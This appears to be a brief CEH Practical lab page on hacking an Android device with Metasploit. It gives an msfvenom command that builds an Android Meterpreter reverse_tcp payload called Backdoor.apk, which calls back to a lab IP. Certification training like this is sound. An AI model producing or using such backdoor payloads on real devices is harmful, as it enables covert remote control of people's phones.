

Hack an Android Device by Creating Binary Payloads using Parrot Security

ILABS
CEH PRACTICAL

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Attackers use various tools such as Metasploit to create binary payloads, which are sent to the target system to gain control over it. The Metasploit Framework is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code. It contains a suite of tools that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade detection. Meterpreter is a Metasploit attack payload that provides an interactive shell that can be used to explore target machines and execute code.



Aim

In this task, we will use Metasploit to create a binary payload in Parrot Security to hack an Android device.

```
msfvenom -p android/meterpreter/reverse_tcp --platform android -a dalvik  
LHOST=10.10.1.13 LPORT=4444 -f raw -o Backdoor.apk
```

DEMO

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<https://t.me/learningnets>



THANKS